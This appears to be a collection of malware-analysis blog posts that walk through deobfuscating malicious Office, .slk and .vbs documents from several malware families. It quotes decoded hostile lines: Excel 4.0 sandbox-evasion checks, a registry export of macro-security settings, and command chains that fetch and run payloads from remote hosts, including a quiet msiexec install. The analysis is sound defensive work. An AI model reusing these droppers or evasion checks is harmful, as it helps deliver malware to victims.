Emotet (2020-07-21): Still Making Use of Userforms

DISCLAIMER: Today’s sample is not overly complicated at all. Making use of Userforms is nothing new. Also, anyone can toss an Emotet document into Any.run in order to grab the base64 encoded Powershell string being executed.

Yet, malicious documents are hiding commands that must be run on the system in some way. Finding those locations and understanding how they work can help us better understand the techniques, tactics, and procedures (TTPs) of attackers.

Sample: https://app.any.run/tasks/475e4427-efd3-40c6-a19f-8703552d0194
MD5: 6f6987737db0575b978f60be457cd374
SHA256: 12A9D51F23B64A1C6DC2146C8325AD73C6810CCDA73586EEF181C4CDDB309A99

Where We’ve Been

If you are familiar with the typical behavior of an Emotet document at all, you expect WINWORD.exe or WmiPrvSE.exe to spawn powershell.exe and pass it a big string of base64 encoded text. That base64 string decodes to a variety of commands that attempt to download an .exe from one of five URLs.

Yet, where does that string live in the malicious document? Sometimes it is scattered all over the the macro before it gets concatenated. Here’s an emotet sample from February 2019. It is quite easy to see how the powershell command and the base64 string get assembled.

At other times, the macro references and grabs strings from a Userform. In this example from May 2019, we see two Userforms named F82063 and N9_9818.

Can someone ask Microsoft to give Snip & Sketch the ability to draw straight lines?

Notice how the macro references components within that Userform. While we can see only one empty box within the Userform above, there are really a stack of them on top of each other. They each have their own name and contain some sort of text. Again, it is not too difficult to see how they will get rearranged into the familiar “powershell -e JAB…”

Where We Are Today

Emotet documents are still making use of Userforms, but with a minor twist. In this sample, the long string is brought back into the macro, split apart, and then joined to create the “powershell -e JAB…” string.

These are all of the components in the Userform named woicroib. It contains a variety of ComboBoxes, Frames, and even a MultiPage.

This macro line below references the Userform containing the the encoded text. woicroib is the name of the Userform. raopfeukchaup is a MultiPage component within the Userform. raopfeukchaup contains two pages. The ControlTipText is then grabbed from the second page. However, it looks like that box is empty.

But this is not the case. If we put a cursor in there, select all of it (ctrl + A) and then copy (ctrl + C) and paste it in notepad, we get this giant string. How is it going to be used in the macro?

Returning back to the macro, the above string is tossed into variable io (line 66). This becomes the parameter used in function chiexbeachjeuhkiam (lines 69 and 49). The entire string above is split (line 53) on another string of characters and then joined back together in line 59.

We can emulate this behavior quite easily. Within our notepad document, we can do a simple search for the string in line 53 above and when we replace all of them with nothing…

… we get the powershell string!

And as my calculus teacher in college used to say, we’ve reduced this to a previously solved problem.

Thanks for reading!

AgentTesla: .rtf and Equation Editor

While extracting Equation Editor shellcode is nothing new on this blog, it never hurts to practice the skills necessary to do this. To that end, we will be working on this document right here: https://app.any.run/tasks/0a1096aa-339e-4602-a3e0-2496a07efea4

.rtf document?

Using rtfdump.py against the document, we see that item 8 contains objdata. This is a good place to start.

We can select item 8 (-s) and decode it as hexadecimal data (-H) in order to take an initial look at that object. We can see that this object contains a call to Equation Editor (EQNEDT32.exe).

To extract this as a file, we will decode it as hexadecimal (-H), dump it (-d), and then send the output to another file which we will call output.bin.

We can use XORSearch.exe to search that binary file for various signatures of 32-bit shellcode. We see that GetEIP was found in two locations. This indicates that shellcode might start at 0xF2. This information will be useful in the next step.


scDbg.exe is a shellcode emulator. If we load up our .bin file and start with the offset of 0xF2, decoded shellcode may appear.

Based on the output, it looks like we had a good offset address. We can tell because we see some decoded lines… but not too many decoded lines. However, we’ve seen ExpandEnvironmentStringsW before and we know how to deal with that. Notice also where it says “Change found at 706…” and that it dumped to a new file called output.unpack.

The change was found at position 706. This means that there are a bunch of extraneous characters before our useful shellcode. While there are a variety of ways to get rid of them, cut-bytes.py will also do the trick.

We can see a variety of useful strings by opening output-cut.unpack in a hex editor.

One of the reasons we didn’t get this output before was that the shellcode used ExpandEnvironmentStringsW. scDbg.exe doesn’t hook into that function. Instead, it will hook into ExpandEnvironmentStringsA. If we overwrite the W in our file with an A, we ought to be able to get some much cleaner output.

Save your changes and toss it back into scDbg.exe. Note, there is no need to include an offset address or create a dump.

We now have the decoded shellcode!

Thanks for reading!

zloader: VBA, R1C1 References, and Other Tomfoolery

The other day, @reecDeep tweeted about new behavior from zloader documents. Another document from the same campaign crossed my path and I decided to take a crack at it.

SHA256: B29C145D4B78DAED34DEA28A0A11BAB857D5583DC6A00578A877511D0D01D3D2


Row and Column References

One of the first things you may notice is that this document doesn’t have the typical letters designating the columns. Instead, this document is using the R1C1 reference style. This was not done by accident. The Excel 4.0 macros used throughout this document depend upon this format.

Getting around “Enable content”

The first sticking point was getting the ability to control execution of the macro. This proved to be a bit difficult. If the ‘Enable Content’ button is showing up, this means that some macros must exist, right? However, the VBAProject contents showed both Sheet1 and ThisWorkbook as blank.

So there were no macros… yet we were still being prompted to enable them. If you did enable them, the macro would execute with no opportunity to interrupt anything before the document would close. I decided to add a simple macro to the project to see if that would help me control execution.

I noticed that when I saved my changes, the size of the document changed.

Opening the copy while holding down the shift key brought up this security notification. Choosing “Enable Macros” allowed me to control execution and continue the analysis.

Finding the Entry Point – R27455C174

As this is an XLM 4.0 macro document, the macro commands in the cells will execute sequentially until the commands send execution path elsewhere. Possible commands for which to search would be =FORMULA or =GOTO. I started by searching for =FORMULA. Once I found one, I started to step through the macro code to see what would happen. It took a few tries, but the entry point for this document is R27455C174. From here, you can right-click that cell and select Run.

We can also see how this document makes use of the R1C1 notation. From what I understand so far, a positive number means you add that number of rows/cells to the current row/cell, and a negative number means you subtract that number of rows/cells to the current row/cell. In this case, it seems that the row being referenced is 51762 rows down and 81 columns to the left. However, I tried going to that cell but found it to be empty. I might be missing something obvious, but in the grand scheme of things, knowing exactly how this particular cell works is more of an academic exercise.

Either way, you could just right-click on the cell, choose Run, Step Into, and then Evaluate a few times get the code execution rolling. You’ll see that =GOTO(”) ends up moving you to cell R46304C95.

BLOCK 1 – R46304C95

This cell is where characters from other cells are assembled into a string. We can see that the first one is “=CLOSE(FALSE)”. We can continue evaluating all of these until we get to the =GOTO() at the bottom.

BLOCK 2 – R48037C63

That =GOTO() takes us to R48037C63. This cell fills in the cells below with the same string. The commands in the following cells take the strings from Block 1 and write them to a new location. For example, let’s look at R48038C63. It says to take the information in a cell that is 1734 rows up and 32 columns to the right and move it 14892 rows up and 20 columns to the left. This continues on until the =GOTO() at the bottom of this block.

BLOCK 3 – R33147C43 – Evasion checks

The next block starts at R33147C43. It contains everything that was written above. Let’s analyze it in pieces. The first portion contains the familiar sandbox checks. Notice how if any of those checks fail, you GOTO(R33146C43). That cell contains =CLOSE(FALSE) which immediately stops execution.

A .vbs file is then created in the C:\Users\Public folder. The lines in cells 33160-65 are written to that file which is then closed.

The next section executes the .vbs file. This file reads information from the system registry containing VBAWarnings. The output is returned to the .txt file. The .vbs file is then deleted, the .txt file is opened, read, and deleted. If the .txt file contains a 1, go back to =CLOSE(FALSE). If not, check environment. If it has a 32 in the results (which it does), GOTO(R13419C196).

BLOCK 4 – R13419C196

This brings us to yet another series of cells getting assembled into strings. We can step through them as before to the =GOTO(”).

BLOCK 5 – R28840C118

Once again, this block takes the strings from above and copies them elsewhere.

BLOCK 6 – R38562C99

And finally, we can see the final execution commands in this document. There are four URLs from which to download a file to C:\Users\Public\lxlGZ4A.html and execute it using rundll32.exe. Notice that if it fails the size check, it doesn’t go through the rest of the URLs. Instead, it immediately jumps down to the ALERT message. I’m guessing this helps to hide the rest of the URLs from showing up in Wireshark or something.


Many of the sandbox evasion techniques used are the same as before. The added difficulty was the use of (nonexistent) VBA macros, more ways to disguise the commands being run, and ways to hide the other URLs.

As always, thanks for reading.

zloader and XLM 4.0: Making Evasion Great Again


Zloader documents now have extra layers of defense making it more difficult to determine the entry point of the macro code as well as adding extra evasion checks.


Thanks to Excel 4.0 macros, everything old is new again and we’ve all had to quickly familiarize ourselves with these archaic macros. At the beginning of April 2020, these macros were rather neat, tidy, and easy to follow.

Then Trickbot came along. Workbook sheets were hidden, macro execution was tossed all over the place, and analysis became much more difficult.

Which brings us to where we are today. @ffforward’s tweet came across my feed yesterday so I thought I’d take a crack at his zloader document to see what’s up. At first blush, it seemed fairly normal. There were not any hidden sheets or password protected macros, and if you look at Sheet2 and zoom out, you’d see the scattered Excel 4.0 commands.

Finding The Starting Point

The difficult bit is figuring out where the macro execution starts. You could try searching for ‘formula’, right-click on the first cell you find, and attempt to step through the macro commands.

However, you would end up with an error since that formula depends upon information having already been written to a different cell. And that can only happen if you first start in the right location.

This means that we really need to find that starting point. Thankfully, @c0ntrol_z wrote about how the label for auto_open was messed up. This ended up hiding the label of entry point from Excel’s name manager, yet still allowing it to auto execute. (For a more detailed explanation, see this thread between @control_z and @BouncyHat). Using the same command as @c0ntrol_z did, oledump.py and a few options gives us similar output.

> oledump.py -p plugin_biff –pluginoptions “-o LABEL -a” [file]

Using a hex editor, we can overwrite 0x21 with 0x00 and the 0x01 with another character (he chose 0x67). We can now see the entry point at cell V2004.

Evasion Techniques

Now that we know the entry point, we can start stepping through the macro code. This was a very tedious process, but here are the decoded strings, with a brief note of what is being checked.

=FORMULA.FILL("=CLOSE(FALSE)",$AS$58860) => CLOSE active window
=IF(GET.WINDOW(7),GOTO(AS58860),) => Check if window is hidden
=IF(GET.WINDOW(20),,GOTO(AS58860)) => Check if window is maximized
=IF(GET.WINDOW(23)<3,GOTO(AS58860),) => Check size of window
=IF(GET.WORKSPACE(31),GOTO(AS58860),) => Check if macro is in single-step mode
=IF(GET.WORKSPACE(13)<770,GOTO(AS$58860),) => Check workspace width
=IF(GET.WORKSPACE(14)<390,GOTO(AS$58860),) => Check workspace height
=IF(GET.WORKSPACE(19),,GOTO(AS58860)) => Check if mouse is present
=IF(GET.WORKSPACE(42),,GOTO(AS58860)) => Check if sounds can be played
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,GOTO(AS58860)) => Get name of environment in which Excel is running followed by version number

If any of those checks fail, notice how execution ends up at cell AS58860 to close the document.

Rest of the code…

But if you make it through the gauntlet of checks, then the rest of the code execution can take place. Many of these commands seem to have been around since late April. This blog post by Micah Lee shows many of the same commands as the document I’m working off of. The document exports information from the registry, examines it to see if macros are disabled. If so, then continues to download malware and then execute it. Here are a variety of the decoded commands.

	=FOPEN("C:\Users\Public\I6yqG.reg")  => exported registry information
	""VBAWarnings""=dword:00000002  => "Disable all macros with notification"

Looking over the past month or so, we can see the same core commands that zloader was using at the beginning of April. The attackers have just added more layers on top to make analysis more difficult.

And the dance goes ever on…

Thanks for reading!

Trickbot/Excel 4.0 macros: There’s got to be a better way

Zloader malicious documents that make use of Excel 4.0 macros are neat and tidy. They’ve got the entire macro all lined up in nice and even rows. They all get executed in order starting with column A, then B and so on to column P.

As the macros run, column Q gets filled up with more commands. Cell P21 says to jump to Q4 and keep executing whatever is there.

This is not the case with this document here: https://app.any.run/tasks/0e65341d-54c0-4886-ba2b-22b91665d922. If we unhide all of the extra sheets, we see what seems to be an empty macro. However, if we zoom all the way out, we can see data scattered all over the place.

What is similar

Like the zloader Excel 4.0 macros, the commands start in column A and work their way down. Then they go to column B and so on until the final column (in this case, it is column IO). These macros also write new data to new cells. This new data is used to put together a string to download data from a URL.

What is different

The big difference is that the new data is scattered all over the place. As =RUN() commands are executed, new data is written elsewhere. Who knows where it is going to land? The sheer size of these worksheets makes analysis difficult.

How to analyze?

Behavioral analysis can get you the URL that the document is trying to reach. Fire up Wireshark, enable content, and you ought to get what you need.

What about working within the document itself? If we have the document open and ‘enable content’, the macro will execute and new data will be written to cells. It is likely those cells will contain strings that get executed by the macros. However, those strings will be scattered all over the place. How can we get rid of all that white space?

It is possible to do this in Excel. We can select all of the blank cells and then shift everything up. First, go to “Find & Select” and choose “Go To Special…”, select “Blanks”, and then click OK.

Once all of the blanks are selected, press CTRL – (minus sign). Select “Shift cells up” and click OK.

All of the empty cells will be removed and the cells with data will get moved to the top of their columns. It is important to note that many of the =RUN() cells will be broken thanks to shifting all of the cells up.

We can then start scrolling to the right to look for strings that weren’t there before.

Here’s the URL that it’s call out to. URLhaus has it tagged as Trickbot.

There’s got to be a better way…

So what’s faster? Wireshark? A bunch of clicking and screwing around with Excel? I don’t know. But there’s got to be a better way. At least, I hope there’s a better way. Maybe this will spark an idea for someone.

Until then, thanks for reading!

Qbot – .vbs file full deobfuscation

Got a bunch of phish that were slip-streamed in from a compromised account the other day. But for some reason, this one stood out from the rest…

Challenge accepted! Amongst the phish we received, all of the URLs were similar in that you downloaded a zip file from a wordpress site.


Inside the .zip file was a single .vbs file. You can get your own copy here:


Based on the any.run activity, we can see the .vbs file reaches out to corbuchrochet.com along with a base64 encoded string of system information.


Yet, is this all there is to this script? What follows will be a full deobfuscation of the .vbs script in the downloaded .zip file. I’m not doing this just for intellectual pursuits. The danger of relying on a sandbox alone is that you may miss other indicators of compromise. And we’re going to find out that’s the case here. A link to the deobfuscated file can be found at the bottom.


Upon opening the .vbs file, we see that it is filled with a ton of garbage… over 10 megabytes, actually. Most of it is taken up by the green text below. But what about the rest of it? Line 10 contains a string that is over 41,000 characters long. That is likely not garbage. There’s also a bunch of math and other variables scattered throughout the script. Is it useless?

Base64 strings

After getting rid of the green text, we’re left with something a bit more manageable. We can see scattered throughout the script is a function named MRJTm() next to some base64 encoded strings. It’s a safe bet that MRJTm() is the function that decodes those strings. If you go and investigate it, you’ll see that it does. We could do a search/replace of MRJTM to something like decode_base64 in order to make our script easier to read.

Line 264: wscript.shell
Line 268: Looks like whatever gets downloaded ends up in %TEMP% and named PaintHelper.

Cleaning up more garbage in functions

At this point, there’s still a bunch of garbage text that needs to be removed. This is where the long slog through the .vbs script begins. How to tell what is needed and what isn’t?

Let’s use this function near the bottom as an example. We can see the function name of bZfje is also used as the return variable. The parameter fed to the function (JlpGX) is tossed into Cstr(), a .vbs command that turns an expression into a string. Note, that none of the other variables are used in this function at all.


If we rename the function with what seems to be its purpose and get rid of the extraneous variables, we end up with this instead.


I then started from the bottom of the script and kept getting rid of extra variables. Here’s some more that got cleaned up.

What about those URLs?

In order to explain this, I’m going to grab some important lines from the script. This means that what you’ll be seeing next is not the original section of script that you’ve seen above. This is meant to help illustrate what is going on.

First, line 96 contains the base64 encoded string for “GET”. This is the line that reaches out to download something. Variable LidvFFe will be the actual URL and variable Zbqxn gets tacked onto the URL.

LidvFFe comes from line 90. It takes the string fed to the function (param_01) and splits it on seven underscore characters. Line 86 calls function CBvJkMY with a parameter of YToIIxnf.

Variable YoIIxnf (line 86) is ultimately derived from variable HMTkcZ (line 2). Function hYpafX (lines 4-79) is used to decode HMTkcZ several times (lines 82-84). This output gets saved into YoIIxnf which as we’ve seen makes its way to variable LidvFFe (line 96).

Since we’ve determined that line 96 is where the URL is called (variable LidvFFe), I put a wscript.echo command right after it (line 97, above). If we call up our script from the command line with cscript, variables LidvFFe and Zbqxn should be printed to the screen. Note, you’ll have to remove the apostrophe that comments out the line.


Decoded base64:    Windows Defender - 6,21,0|Microsoft Windows 10 Pro

We can then see all four URLs contained in this script. Tacked onto the end is a long string of base64 encoded text. While it is simple enough to decode it and see what it contains, how did it get there?

Getting System Information

Variable Zbqxn comes from line 92. The information in it originally comes from function uTFjNC which grabs system information, which then gets fed into VUjtEX and encoded into base64.

Function uTFjNC is mostly a bunch of hex characters and junk code.

However, if we condense the hex characters, get rid of the junk code, and rename some variables, it begins to make more sense. The script is creating a WMI instance to query information about the machine. Seems like it is looking for AntiVirus products and information on the Operating System.

Persistence: Task Scheduler

Finally, this script establishes persistence. After an executable gets downloaded to the Temp folder and named PaintHelper.exe, the script creates a scheduled task. Look for the variable named margaritasexy to see the beginning of that section. It calls up Schedule.service on line 388.

From there it sets up things like the name of the task, what time it will run, and what will be executed. Here’s what it looks like in Task Scheduler and in the registry.

NOTE the red arrow pointing from Id to the Tasks folder. That ID ({56D3…}) also has an entry in the Tasks folder above. That needs to be deleted as well.

My deobfuscated script

As promised, my cleaned-up script can be found here: https://pastebin.com/F3QiP9rG

And as always, thanks for reading.

COVID-19, Excel 4.0 Macros, and Sandbox Detection – #zloader

This email came across my desk this morning. It has a COVID-19 theme along with this .xls attachment.


First things first, we can see in the first picture below that it does say we’ve got an Excel 4.0 macro sheet, very hidden. This is good information for how to tackle this document. While olevba.py does extract the OLE stream, the output isn’t all that helpful. I don’t blame that on the tool. I believe it is due to the way this macro has been obfuscated. Either way, we can tell that something is going on here.


This blog post from SANS shows how to examine the OLE object using oledump.py. Again, the output isn’t very helpful.

Getting to the macro

How then can we examine the actual macro inside the document? Notice how the output of both olevba.py and oledump.py showed that the Excel 4.0 macrosheet was very hidden.

Google tells you that there are multiple ways to get these sheets visible. I tried a bunch of them and the method described here worked for me. You will need the following code:

Sub ShowAllSheets()
    Dim sh As Worksheet
    For Each sh In ActiveWorkbook.Sheets
    sh.Visible = True
End Sub

Copy that into the exiting macro sheet like so and click play/Run/(press F5).


After running the macro, you will see the unhidden sheet:


This is where things get interesting. We can see columns A – O full of =CHAR(xx) characters. They all get sewn together in column P and the output is tossed in column Q. I’ve hidden a few of the columns to show what’s going on a bit easier. Please pardon my anemic drawing skills.

In the section below, the formula in P1 takes all of the characters from column A, sews them together, and places them in column Q4. The rest of the commands are put together in a similar manner by continuing down column P and adding more commands to column Q. The last line in column P then says =GOTO(Q4).

Column Q: Macro Analysis and Sandbox Evasion Techniques

Let’s look at the commands in column Q section by section. I found the .pdf here to be very helpful in understanding what is going on.

This first section of the macro shows the first attempt to see if it is being executed in a sandbox. GET.WORKSPACE 19 and 42 check to see if a mouse is present and if the computer is capable of playing sounds, respectively. GET.WORKSPACE(1) checks the environment in which Microsoft Excel is running followed by the environment’s version number.


If those three are true, then copy the Excel security registry keys to C:\Users\public\1.reg.

=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)

Next, it waits for three seconds. It then opens 1.reg, starts at byte position 215, and reads the next 255 bytes.

=FPOS(Q10, 215)
=FREAD(Q10, 255)

What is in that section of 1.reg? Below is the highlighted section in a hex editor and Notepad. It contains the registry values for AccessVBOM and especially VBAWarnings.

1.reg gets closed and deleted. It then searches what was read (stored in cell Q12) for the string “0001”. This is the second test to see if it is in a sandbox. If it finds that string, it will close the spreadsheet. If it does not find the string “0001”, it will then attempt to download a file and save it as an .html file in C:\Users\Public\.


What does the string “0001” have to do with anything? Changing the settings for what Excel does with macros changes the registry settings for VBAWarnings. If our macro sees that VBAWarnings are set to 1, this means that “Enable all macros” have been set. And only sandboxes would have macros set to always run… right?

So as a reward for having your company’s group policy set to disable all macros, our malicious document then shows an alert, followed by a call to run the saved .html file (which by the way is actually an .exe).

=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)

I’m not exactly sure what initial loader gets downloaded, but I will update this when I get more info.

UPDATE: Word on the street is zloader gets downloaded.

Until then, thanks for reading!

LokiBot: Getting Equation Editor Shellcode

While today’s analysis will be similar to one we’ve done before, it will be almost exactly the same as this one from SANS. Although it’s been done by others, it never hurts to practice using these tools and get that muscle memory down. We’ll be working off of this document right here: https://app.any.run/tasks/db864efd-35b3-4e91-9e84-c6149dbfd4d7.


Using oledump, we see a big chunk of data called ‘EncryptedPackage’.

In this case, it means that one or more sheets in the workbook have been locked to protect changes to the data.

But there are tools to get around this. By simply pointing msoffcrypto-crack.py at the document, we will see a familiar password pop up.

At this point, we could do one of two things. We could use msoffcrypto-crack.py to crack the password and output a new unprotected file of the same name…

… or we could just pipe the output directly into oledump.py. Doing so, we see that there are no macros or anything like that. Instead, we see ‘eQUaTiON naTIvE’.

Let’s dump that part of the object to another file where we can work on that.

We can use XORSearch.exe to search that binary file for various signatures of 32-bit shellcode. We see that GetEIP was found in two locations.


We then move to a shellcode emulator called scDbg.exe. We can load the dumped binary in there and feed it the offset position and to see if any sort of decoded shellcode appears.

And it does! Note that it dumped it to a file called oledump.unpack. However, notice how the unpacked information isn’t very informative. But that last line says, “Change found at 402438…”. We can use another tool called to cut-bytes.py to look at the oledump.unpack from that point. Notice strings such as LoadLibraryW… ExpandEnvironmentStringsW… APPDATA\vbc.exe… htp://frndgreen and so on.

But can we get this output in a little more… readable form? Yes, we can do with scDbg.exe again. First, let’s cut out only the bytes necessary.

Using oledump-cut.unpack, we do run into a problem when we toss it into scDbg.exe. We don’t see anything beyond ExpandEnvironmentStringsW.

The SANS blog post referenced at the beginning shows how to deal with this. It turns out that scDbg.exe does not hook ExpandEnvironmentStringsW. But it does hook ExpandEnvironmentStringsA. We can then try patching the .unpack file by overwriting the StringsW with StringsA. Save your change and then toss it back into scDbg.exe like we tried above.

Another option is to overwrite that character directly from the command line. Looking at the hex editor above, we can see that we are at offset 0x77. We can add that to the starting point in scDbg.exe like so:

We can now see everything in a much clearer format and it looks like it’s downloading Lokibot.

Thanks for reading!

Ave Maria RAT – .xls, ADS, and EQNEDT32!

Life is like a malicious document. You never know what you’re going to get. Or not. Either way, this document was really quite interesting with its twists and turns. We will be working off of this document right here: https://app.any.run/tasks/ce33bea3-9f2d-4507-ae43-2a96bb814bc5

A picture is often worth a thousand words. I mapped out the document, files, and processes into a single picture below. We’ll have to see if this picture simplifies the explanation or is the cause of a great number of words.



Using oledump.py, we can see that this document contains some macros (A3) and a few oleObject binaries (B2, C2, and D3). All of them need to be investigated.



The only macro worth looking at is Module1. The first few lines contain what looks like some base64 encoded strings. We can also see that a lot of strings are being added to variable s.


Variable x contains a path to C:\programdata\asc.txt.


In line 185, we can see that the text file asc.txt is going to get created, with an additional alternate data stream called script1.vbs. Line 195 writes the contents of s into script1.vbs.


And finally, line 200 contains the part that uses cscript to run asc.txt:script1.vbs.



The two most important lines in this script are base64 encoded strings in lines 2 and 3. They decode to the URL and the name of the executable to download.


fsdfdsfs = http[:]//5[.]199[.]143[.]127/bin.exe
yulkytjtrhtjrkdsarjky = bin.exe

Line 130 contains the command to download the executable and line 133 executes it.


You’ll see from the any.run output, that while this macro is executed, it never makes a successful connection to But that’s okay, the oleobject binaries were successful.


This binary contains a file called xx which gets dropped in the temp location (C:\Users\[user]\AppData\Local\Temp\xx). More on this later.


This binary contains a file called yy which also gets dropped in the temp location (C:\Users\[user]\AppData\Local\Temp\yy). Again, more on this later.


This is where the secondary process really kicks off. Here’s what this binary contains:


The equation editor (EQNEDT32.exe) take a hold of that string and executes it. This renames file yy to y.js and then executes it.

cmd /c ren %tmp%\yy y.js&CSCRipt %tmp%\y.js


Upon execution, this file changes file xx to xx.vbs (line 11 and function ChangeFileName). It then executes xx.vbs in line 12 and deletes y.js in line 15.



Structurally, xx.vbs is very similar to asc.txt:script1.vbs. The top contains the same base64 encoded strings. They run through functions to decode them. The end of the script downloads the binary and executes it.


fsdfdsfs = http[:]//5[.]199[.]143[.]127/bin.exe
yulkytjtrhtjrkdsarjky = bin.exe


In this case, xx.vbs actually did download .bin. Upon execution, it copied and renamed itself to C:\Users\[user]\AppData\Roaming\images.exe. It even adds itself to HKCU\SOftware\Microsoft\Windows\CurrentVersion\Run for persistence.

And when it executes, it reaches back out to

Thanks for reading!

.slk files and NetSupport


This file didn’t behave normally at all. You could try to dump macros, but nothing would pop up (correction: I did not try olevba.py by @decalage2; this tool did correctly parse the file). Upon opening the document, you see all of these new child cmd.exe processes along with ping? That certainly wasn’t normal.

So I just decided to open it in notepad and see what I could see.

Curiouser and curioser…

It turns out that even though this opens up in Excel, we can’t treat it as a regular excel spreadsheet at all. This is a .slk file, a.k.a. a SYmbolic LinK file. “It is used to exchange data between applications, specifically spreadsheets.” All of the code you see above are used to display the data when you open the .slk file.

If you scroll down far enough, you see our malicious code.


The lines prefixed with the letter C are used for cell contents. We can see that EXEC (likely means ‘execute’) is used and some commands follow them. Let’s put them together.

"cmD.exe /c EChO|SE^t /p=""@echo off&wmic process call create 'Msie"">%temp%\OyHwU.bat"
"cmD.exe /c @echo off&ping 5&EcHo|s^et /p=""xec /ihttp^:^/^/^ahoyassociate"">>%temp%\OyHwU.bat"
"cmD.exe /c @echo off&ping 5&ping 5&EcHo|s^et /p=""s.com/contacts.php "">>%temp%\OyHwU.bat"
"cmD.exe /c @echo off&ping 5&ping 5&ping 5&EcHo|s^et /p="" ^/q'"">>%temp%\OyHwU.bat&%temp%\OyHwU.bat"

We can see that amongst all of the ping commands,  a series of strings get sent to a new .bat file in the %temp% folder and then executed. Investigating the .bat file confirms this. Put the whole string together and we see that Msiexec is used to install (/i) a file from a website (ahoyassociates.com) and do so quietly (/q).

@echo off&wmic process call create 'Msiexec /ihttp^:^/^/^ahoyassociates.com/contacts.php ^/q'

Although contacts.php is downloaded, it is really a .msi file.


Once the .msi file is installed, it dumps a file called file.cab. It is then expanded using this command:

"C:\Windows\System32\expand.exe" -R files.cab -F:* files

files.cab is expanded to a file called safetycheck.exe. There is a great amount of activity after safetycheck.exe is executed. There is a long chain of cmd.exe ending with a powershell command being executed.


Unfortunately, I wasn’t able get a copy from the any.run output of the .ps1 file that is dropped (but it looks like it might be here in this post) , but we can see that it does a couple of things:

  1. msiexec.exe: Reach out to http[:]//safuuf7774[.]pw/iplog/newg.php?hst=installing_USER-PC
  2. Reg.exe: \CurrentVersion\Run is modified to automatically start an executable named fonthost.exe.
  3. fonthost.exe (which got dropped from the powershell command)
    1. fonthost is the NetSupport Manager RAT
    2. It reaches out to and starts sending encoded traffic back and forth.
  4. msiexec.exe: Looks like another attempt to reach out to the same URL as above.


So .slk files are not too difficult to analyze. But what comes after them may be far more complicated.

Thanks for reading.